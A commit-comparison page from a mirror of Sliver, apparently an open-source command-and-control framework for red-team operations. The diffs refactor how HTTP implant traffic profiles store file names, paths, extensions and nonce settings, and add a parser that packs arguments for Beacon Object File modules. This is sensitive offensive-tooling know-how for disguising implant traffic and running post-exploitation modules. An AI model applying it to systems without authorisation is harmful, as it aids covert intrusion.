mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
50
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
32fa69356c | ||
|
|
c42d754e72 | ||
|
|
e4babaf471 | ||
|
|
da196a789d | ||
|
|
6a656d63ab | ||
|
|
b0e226199a | ||
|
|
cf4ff14342 | ||
|
|
ae3a2fd51e | ||
|
|
d14ba3d35f | ||
|
|
10ef8b3e88 | ||
|
|
4bc65e2193 | ||
|
|
a45a5795d3 | ||
|
|
e1c5b77db4 | ||
|
|
280d08d074 | ||
|
|
1d55b34b62 | ||
|
|
d32302a1ab | ||
|
|
2eabfc255b | ||
|
|
d0375da6e4 | ||
|
|
4523c83b89 | ||
|
|
1decc7f462 | ||
|
|
f97a1e3fdf | ||
|
|
1e12ea3242 | ||
|
|
8919bc3b07 | ||
|
|
1a2b392d20 | ||
|
|
11a6584973 | ||
|
|
1e06fe6612 | ||
|
|
65ee18026e | ||
|
|
9c1617c213 | ||
|
|
d74067ddff | ||
|
|
60772c7659 | ||
|
|
25a70e6e4f | ||
|
|
a89675d961 | ||
|
|
0f340a25cf | ||
|
|
9cdc326b57 | ||
|
|
113ef5d7d0 | ||
|
|
9fa1e15425 | ||
|
|
e5e589e1b0 | ||
|
|
2e0fab3a71 | ||
|
|
99571dc73e | ||
|
|
5c2848c84c | ||
|
|
ffcfa8d1b5 | ||
|
|
debc03203c | ||
|
|
b84037af11 | ||
|
|
61ed176683 | ||
|
|
12e44644ed | ||
|
|
0b185cc885 | ||
|
|
ae0c106595 | ||
|
|
6d2b0f8319 | ||
|
|
60443f4fc7 | ||
|
|
418fe757d1 |
No files matched your search
+1
-1
@@ -91,7 +91,7 @@ ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
|
||||
|
||||
# STAGE: production-slim (about 1Gb smaller)
|
||||
FROM debian:bookworm-slim as production-slim
|
||||
FROM debian:bookworm-slim AS production-slim
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
|
||||
+11
-24
@@ -57,30 +57,17 @@ type HTTPC2ImplantConfig struct {
|
||||
NonceQueryArgChars string `json:"nonce_query_args"`
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
NonceQueryLength int `json:"nonce_query_length"`
|
||||
NonceMode string `json:"nonce_mode"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
MaxFileGen int `json:"max_files"`
|
||||
MinFileGen int `json:"min_files"`
|
||||
MaxPathGen int `json:"max_paths"`
|
||||
MinPathGen int `json:"min_paths"`
|
||||
MaxPathLength int `json:"max_path_length"`
|
||||
MinPathLength int `json:"min_path_length"`
|
||||
|
||||
// Stager files and paths
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
StagerFiles []string `json:"stager_files"`
|
||||
StagerPaths []string `json:"stager_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
Extensions []string `json:"extensions"`
|
||||
Files []string `json:"files"`
|
||||
Paths []string `json:"paths"`
|
||||
}
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"math/rand"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
@@ -67,7 +66,6 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
}
|
||||
|
||||
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
protocols := []string{constants.HttpStr, constants.HttpsStr}
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
@@ -103,29 +101,6 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if confirm {
|
||||
var restartJobReq clientpb.RestartJobReq
|
||||
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// reload jobs to include new profile
|
||||
for _, job := range jobs.Active {
|
||||
if job != nil && slices.Contains(protocols, job.Name) {
|
||||
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
|
||||
}
|
||||
}
|
||||
|
||||
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
@@ -201,23 +176,6 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
return
|
||||
}
|
||||
|
||||
c2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var extensions []string
|
||||
for _, c2profile := range c2Profiles.Configs {
|
||||
confProfile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: c2profile.Name})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
extensions = append(extensions, confProfile.ImplantConfig.StagerFileExtension)
|
||||
extensions = append(extensions, confProfile.ImplantConfig.StartSessionFileExtension)
|
||||
}
|
||||
|
||||
config, err := C2ConfigToJSON(profileName, profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -243,7 +201,7 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
}
|
||||
urls := strings.Split(string(fileContent), "\n")
|
||||
|
||||
jsonProfile, err := updateC2Profile(extensions, config, urls)
|
||||
jsonProfile, err := updateC2Profile(config, urls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -264,26 +222,26 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
}
|
||||
con.Println("C2 profile generated and saved as ", profileName)
|
||||
} else {
|
||||
PrintC2Profiles(profile, con)
|
||||
PrintC2Profiles(C2ConfigToProtobuf(profileName, jsonProfile), con)
|
||||
}
|
||||
}
|
||||
|
||||
// convert protobuf to json
|
||||
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) {
|
||||
implantConfig := assets.HTTPC2ImplantConfig{
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: profile.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
|
||||
MaxFiles: int(profile.ImplantConfig.MaxFiles),
|
||||
MinFiles: int(profile.ImplantConfig.MinFiles),
|
||||
MaxPaths: int(profile.ImplantConfig.MaxPaths),
|
||||
MinPaths: int(profile.ImplantConfig.MinFiles),
|
||||
StagerFileExt: profile.ImplantConfig.StagerFileExtension,
|
||||
PollFileExt: profile.ImplantConfig.PollFileExtension,
|
||||
StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
|
||||
SessionFileExt: profile.ImplantConfig.SessionFileExtension,
|
||||
CloseFileExt: profile.ImplantConfig.CloseFileExtension,
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: profile.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
|
||||
NonceQueryLength: int(profile.ImplantConfig.NonceQueryLength),
|
||||
NonceMode: profile.ImplantConfig.NonceMode,
|
||||
MaxFileGen: int(profile.ImplantConfig.MaxFileGen),
|
||||
MinFileGen: int(profile.ImplantConfig.MinFileGen),
|
||||
MaxPathGen: int(profile.ImplantConfig.MaxPathGen),
|
||||
MinPathGen: int(profile.ImplantConfig.MinFileGen),
|
||||
MaxPathLength: int(profile.ImplantConfig.MaxPathLength),
|
||||
MinPathLength: int(profile.ImplantConfig.MinPathLength),
|
||||
Extensions: profile.ImplantConfig.Extensions,
|
||||
}
|
||||
|
||||
var headers []assets.NameValueProbability
|
||||
@@ -308,50 +266,19 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
|
||||
implantConfig.URLParameters = urlParameters
|
||||
|
||||
var (
|
||||
stagerFiles []string
|
||||
pollFiles []string
|
||||
sessionFiles []string
|
||||
closeFiles []string
|
||||
stagerPaths []string
|
||||
pollPaths []string
|
||||
sessionPaths []string
|
||||
closePaths []string
|
||||
files []string
|
||||
paths []string
|
||||
)
|
||||
|
||||
for _, pathSegment := range profile.ImplantConfig.PathSegments {
|
||||
if pathSegment.IsFile {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, pathSegment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, pathSegment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, pathSegment.Value)
|
||||
case 3:
|
||||
stagerFiles = append(stagerFiles, pathSegment.Value)
|
||||
}
|
||||
files = append(files, pathSegment.Value)
|
||||
} else {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, pathSegment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, pathSegment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, pathSegment.Value)
|
||||
case 3:
|
||||
stagerPaths = append(stagerPaths, pathSegment.Value)
|
||||
}
|
||||
paths = append(paths, pathSegment.Value)
|
||||
}
|
||||
}
|
||||
|
||||
implantConfig.PollFiles = pollFiles
|
||||
implantConfig.SessionFiles = sessionFiles
|
||||
implantConfig.CloseFiles = closeFiles
|
||||
implantConfig.StagerFiles = stagerFiles
|
||||
implantConfig.PollPaths = pollPaths
|
||||
implantConfig.SessionPaths = sessionPaths
|
||||
implantConfig.ClosePaths = closePaths
|
||||
implantConfig.StagerPaths = stagerPaths
|
||||
implantConfig.Files = files
|
||||
implantConfig.Paths = paths
|
||||
|
||||
var serverHeaders []assets.NameValueProbability
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
@@ -390,68 +317,17 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
|
||||
pathSegments := []*clientpb.HTTPC2PathSegment{}
|
||||
|
||||
// files
|
||||
for _, poll := range config.ImplantConfig.PollFiles {
|
||||
for _, file := range config.ImplantConfig.Files {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
IsFile: true,
|
||||
Value: file,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionFiles {
|
||||
for _, path := range config.ImplantConfig.Paths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.CloseFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
// paths
|
||||
for _, poll := range config.ImplantConfig.PollPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.ClosePaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
IsFile: false,
|
||||
Value: path,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -474,22 +350,22 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
|
||||
}
|
||||
|
||||
implantConfig := &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFiles: int32(config.ImplantConfig.MaxFiles),
|
||||
MinFiles: int32(config.ImplantConfig.MinFiles),
|
||||
MaxPaths: int32(config.ImplantConfig.MaxPaths),
|
||||
MinPaths: int32(config.ImplantConfig.MinFiles),
|
||||
StagerFileExtension: config.ImplantConfig.StagerFileExt,
|
||||
PollFileExtension: config.ImplantConfig.PollFileExt,
|
||||
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
|
||||
SessionFileExtension: config.ImplantConfig.SessionFileExt,
|
||||
CloseFileExtension: config.ImplantConfig.CloseFileExt,
|
||||
PathSegments: pathSegments,
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
NonceQueryLength: int32(config.ImplantConfig.NonceQueryLength),
|
||||
NonceMode: config.ImplantConfig.NonceMode,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFileGen: int32(config.ImplantConfig.MaxFileGen),
|
||||
MinFileGen: int32(config.ImplantConfig.MinFileGen),
|
||||
MaxPathGen: int32(config.ImplantConfig.MaxPathGen),
|
||||
MinPathGen: int32(config.ImplantConfig.MinPathGen),
|
||||
MaxPathLength: int32(config.ImplantConfig.MaxPathLength),
|
||||
MinPathLength: int32(config.ImplantConfig.MinPathLength),
|
||||
Extensions: config.ImplantConfig.Extensions,
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
@@ -599,96 +475,65 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
|
||||
"Nonce query arg chars",
|
||||
profile.ImplantConfig.NonceQueryArgChars,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce query length",
|
||||
profile.ImplantConfig.NonceQueryLength,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce mode",
|
||||
profile.ImplantConfig.NonceMode,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max files",
|
||||
profile.ImplantConfig.MaxFiles,
|
||||
profile.ImplantConfig.MaxFileGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min files",
|
||||
profile.ImplantConfig.MinFiles,
|
||||
profile.ImplantConfig.MinFileGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max paths",
|
||||
profile.ImplantConfig.MaxPaths,
|
||||
profile.ImplantConfig.MaxPathGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min paths",
|
||||
profile.ImplantConfig.MinPaths,
|
||||
profile.ImplantConfig.MinPathGen,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Stager file extension",
|
||||
profile.ImplantConfig.StagerFileExtension,
|
||||
"Max path length",
|
||||
profile.ImplantConfig.MaxPathLength,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Start session file extension",
|
||||
profile.ImplantConfig.StartSessionFileExtension,
|
||||
"Min path length",
|
||||
profile.ImplantConfig.MinPathLength,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Session file extension",
|
||||
profile.ImplantConfig.SessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll file extension",
|
||||
profile.ImplantConfig.PollFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close file extension",
|
||||
profile.ImplantConfig.CloseFileExtension,
|
||||
"File extensions",
|
||||
strings.Join(profile.ImplantConfig.Extensions, ","),
|
||||
})
|
||||
|
||||
var (
|
||||
pollPaths []string
|
||||
pollFiles []string
|
||||
sessionPaths []string
|
||||
sessionFiles []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
paths []string
|
||||
files []string
|
||||
)
|
||||
for _, segment := range profile.ImplantConfig.PathSegments {
|
||||
if segment.IsFile {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, segment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, segment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, segment.Value)
|
||||
}
|
||||
files = append(files, segment.Value)
|
||||
} else {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, segment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, segment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, segment.Value)
|
||||
}
|
||||
paths = append(paths, segment.Value)
|
||||
}
|
||||
}
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll paths",
|
||||
strings.Join(pollPaths[:], ","),
|
||||
"Paths",
|
||||
strings.Join(paths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll files",
|
||||
strings.Join(pollFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session paths",
|
||||
strings.Join(sessionPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session files",
|
||||
strings.Join(sessionFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close paths",
|
||||
strings.Join(closePaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close files",
|
||||
strings.Join(closeFiles[:], ","),
|
||||
"Files",
|
||||
strings.Join(files[:], ","),
|
||||
})
|
||||
|
||||
con.Println(tw.Render())
|
||||
@@ -711,14 +556,13 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
return c2profile
|
||||
}
|
||||
|
||||
func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
|
||||
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
|
||||
// update the template with the urls
|
||||
|
||||
var (
|
||||
paths []string
|
||||
filenames []string
|
||||
extensions []string
|
||||
filteredExtensions []string
|
||||
paths []string
|
||||
filenames []string
|
||||
extensions []string
|
||||
)
|
||||
|
||||
for _, urlPath := range urls {
|
||||
@@ -747,23 +591,13 @@ func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, url
|
||||
slices.Sort(extensions)
|
||||
extensions = slices.Compact(extensions)
|
||||
|
||||
for _, extension := range extensions {
|
||||
if !slices.Contains(usedExtensions, extension) {
|
||||
filteredExtensions = append(filteredExtensions, extension)
|
||||
}
|
||||
}
|
||||
|
||||
slices.Sort(paths)
|
||||
paths = slices.Compact(paths)
|
||||
|
||||
slices.Sort(filenames)
|
||||
filenames = slices.Compact(filenames)
|
||||
|
||||
// 5 is arbitrarily used as a minimum value, it only has to be 5 for the extensions, the others can be lower
|
||||
if len(filteredExtensions) < 5 {
|
||||
return nil, fmt.Errorf("got %d unused extensions, need at least 5", len(filteredExtensions))
|
||||
}
|
||||
|
||||
// 5 is arbitrarily used as a minimum value
|
||||
if len(paths) < 5 {
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
|
||||
}
|
||||
@@ -772,53 +606,8 @@ func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, url
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
|
||||
}
|
||||
|
||||
// shuffle extensions
|
||||
for i := len(extensions) - 1; i > 0; i-- {
|
||||
j := rand.Intn(i + 1)
|
||||
extensions[i], extensions[j] = extensions[j], extensions[i]
|
||||
}
|
||||
|
||||
template.ImplantConfig.PollFileExt = extensions[0]
|
||||
template.ImplantConfig.StagerFileExt = extensions[1]
|
||||
template.ImplantConfig.StartSessionFileExt = extensions[2]
|
||||
template.ImplantConfig.SessionFileExt = extensions[3]
|
||||
template.ImplantConfig.CloseFileExt = extensions[4]
|
||||
|
||||
// randomly distribute the paths and filenames into the different segment types
|
||||
template.ImplantConfig.CloseFiles = []string{}
|
||||
template.ImplantConfig.SessionFiles = []string{}
|
||||
template.ImplantConfig.PollFiles = []string{}
|
||||
template.ImplantConfig.StagerFiles = []string{}
|
||||
template.ImplantConfig.ClosePaths = []string{}
|
||||
template.ImplantConfig.SessionPaths = []string{}
|
||||
template.ImplantConfig.PollPaths = []string{}
|
||||
template.ImplantConfig.StagerPaths = []string{}
|
||||
|
||||
for _, path := range paths {
|
||||
switch rand.Intn(4) {
|
||||
case 0:
|
||||
template.ImplantConfig.PollPaths = append(template.ImplantConfig.PollPaths, path)
|
||||
case 1:
|
||||
template.ImplantConfig.SessionPaths = append(template.ImplantConfig.SessionPaths, path)
|
||||
case 2:
|
||||
template.ImplantConfig.ClosePaths = append(template.ImplantConfig.ClosePaths, path)
|
||||
case 3:
|
||||
template.ImplantConfig.StagerPaths = append(template.ImplantConfig.StagerPaths, path)
|
||||
}
|
||||
}
|
||||
|
||||
for _, filename := range filenames {
|
||||
switch rand.Intn(4) {
|
||||
case 0:
|
||||
template.ImplantConfig.PollFiles = append(template.ImplantConfig.PollFiles, filename)
|
||||
case 1:
|
||||
template.ImplantConfig.SessionFiles = append(template.ImplantConfig.SessionFiles, filename)
|
||||
case 2:
|
||||
template.ImplantConfig.CloseFiles = append(template.ImplantConfig.CloseFiles, filename)
|
||||
case 3:
|
||||
template.ImplantConfig.StagerFiles = append(template.ImplantConfig.StagerFiles, filename)
|
||||
}
|
||||
}
|
||||
|
||||
template.ImplantConfig.Extensions = extensions
|
||||
template.ImplantConfig.Paths = paths
|
||||
template.ImplantConfig.Files = filenames
|
||||
return template, nil
|
||||
}
|
||||
@@ -0,0 +1,413 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ParseFlagArgumentsToBuffer parses flag-style arguments based on extension manifest
|
||||
// and converts them to a BOF-compatible binary buffer
|
||||
func ParseFlagArgumentsToBuffer(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
|
||||
// Create a flag set and parse the arguments
|
||||
fs, stringValues, wstringValues, intValues, shortValues, fileValues, err := bofSetupAndParseFlags(args, ext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Print debug information about parsed flags
|
||||
//bofDebugPrintParsedFlags(fs, ext, stringValues, wstringValues, intValues, shortValues, fileValues)
|
||||
|
||||
// Initialize the BOF arguments buffer
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
|
||||
// Process arguments and build the buffer
|
||||
missingRequiredArgs, err := bofProcessArgumentsToBuffer(fs, ext, argsBuffer,
|
||||
stringValues, wstringValues, intValues, shortValues, fileValues)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Return error if we have missing required arguments
|
||||
if len(missingRequiredArgs) > 0 {
|
||||
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
|
||||
}
|
||||
|
||||
// Get the final binary buffer
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get buffer: %v", err)
|
||||
}
|
||||
|
||||
return parsedArgs, nil
|
||||
}
|
||||
|
||||
// bofSetupAndParseFlags creates a flag set, defines expected flags based on the extension manifest,
|
||||
// and parses the provided arguments
|
||||
func bofSetupAndParseFlags(args []string, ext *ExtCommand) (*flag.FlagSet,
|
||||
map[string]*string, map[string]*string, map[string]*int, map[string]*int, map[string]*string, error) {
|
||||
|
||||
// Create a new FlagSet
|
||||
fs := flag.NewFlagSet("sliver-bof", flag.ContinueOnError)
|
||||
|
||||
// Maps to store flag value pointers
|
||||
stringValues := make(map[string]*string)
|
||||
intValues := make(map[string]*int)
|
||||
shortValues := make(map[string]*int)
|
||||
fileValues := make(map[string]*string) // Path to file data
|
||||
wstringValues := make(map[string]*string)
|
||||
|
||||
// Define expected flags based on manifest arguments
|
||||
for _, arg := range ext.Arguments {
|
||||
flagName := arg.Name
|
||||
flagDesc := arg.Desc
|
||||
|
||||
switch arg.Type {
|
||||
case "string":
|
||||
stringValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
case "wstring":
|
||||
wstringValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
case "int", "integer":
|
||||
intValues[flagName] = fs.Int(flagName, 0, flagDesc)
|
||||
case "short":
|
||||
shortValues[flagName] = fs.Int(flagName, 0, flagDesc)
|
||||
case "file":
|
||||
fileValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
default:
|
||||
return nil, nil, nil, nil, nil, nil, fmt.Errorf("unsupported argument type: %s", arg.Type)
|
||||
}
|
||||
}
|
||||
|
||||
// Parse the arguments
|
||||
if err := fs.Parse(args); err != nil {
|
||||
return nil, nil, nil, nil, nil, nil, err
|
||||
}
|
||||
|
||||
return fs, stringValues, wstringValues, intValues, shortValues, fileValues, nil
|
||||
}
|
||||
|
||||
// bofProcessArgumentsToBuffer processes each argument and adds its value to the buffer
|
||||
// Returns a list of missing required arguments and any error encountered
|
||||
func bofProcessArgumentsToBuffer(fs *flag.FlagSet, ext *ExtCommand, argsBuffer core.BOFArgsBuffer,
|
||||
stringValues, wstringValues map[string]*string,
|
||||
intValues, shortValues map[string]*int,
|
||||
fileValues map[string]*string) ([]string, error) {
|
||||
|
||||
missingRequiredArgs := make([]string, 0)
|
||||
|
||||
for _, argDef := range ext.Arguments {
|
||||
var provided bool
|
||||
var err error
|
||||
|
||||
// Process based on argument type
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
provided, err = bofProcessStringArg(fs, argDef, stringValues, argsBuffer)
|
||||
case "wstring":
|
||||
provided, err = bofProcessWStringArg(fs, argDef, wstringValues, argsBuffer)
|
||||
case "int", "integer":
|
||||
provided, err = bofProcessIntArg(fs, argDef, intValues, argsBuffer)
|
||||
case "short":
|
||||
provided, err = bofProcessShortArg(fs, argDef, shortValues, argsBuffer)
|
||||
case "file":
|
||||
provided, err = bofProcessFileArg(fs, argDef, fileValues, argsBuffer)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// If argument not provided, handle according to rules
|
||||
if !provided {
|
||||
if argDef.Optional {
|
||||
// Try to apply default or type-appropriate zero value
|
||||
err = bofApplyDefaultValue(argDef, argsBuffer)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
// Required argument was not provided
|
||||
missingRequiredArgs = append(missingRequiredArgs, "`"+argDef.Name+"`")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return missingRequiredArgs, nil
|
||||
}
|
||||
|
||||
// bofProcessStringArg processes a string argument
|
||||
func bofProcessStringArg(fs *flag.FlagSet, argDef *extensionArgument, stringValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := stringValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddString(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add string argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
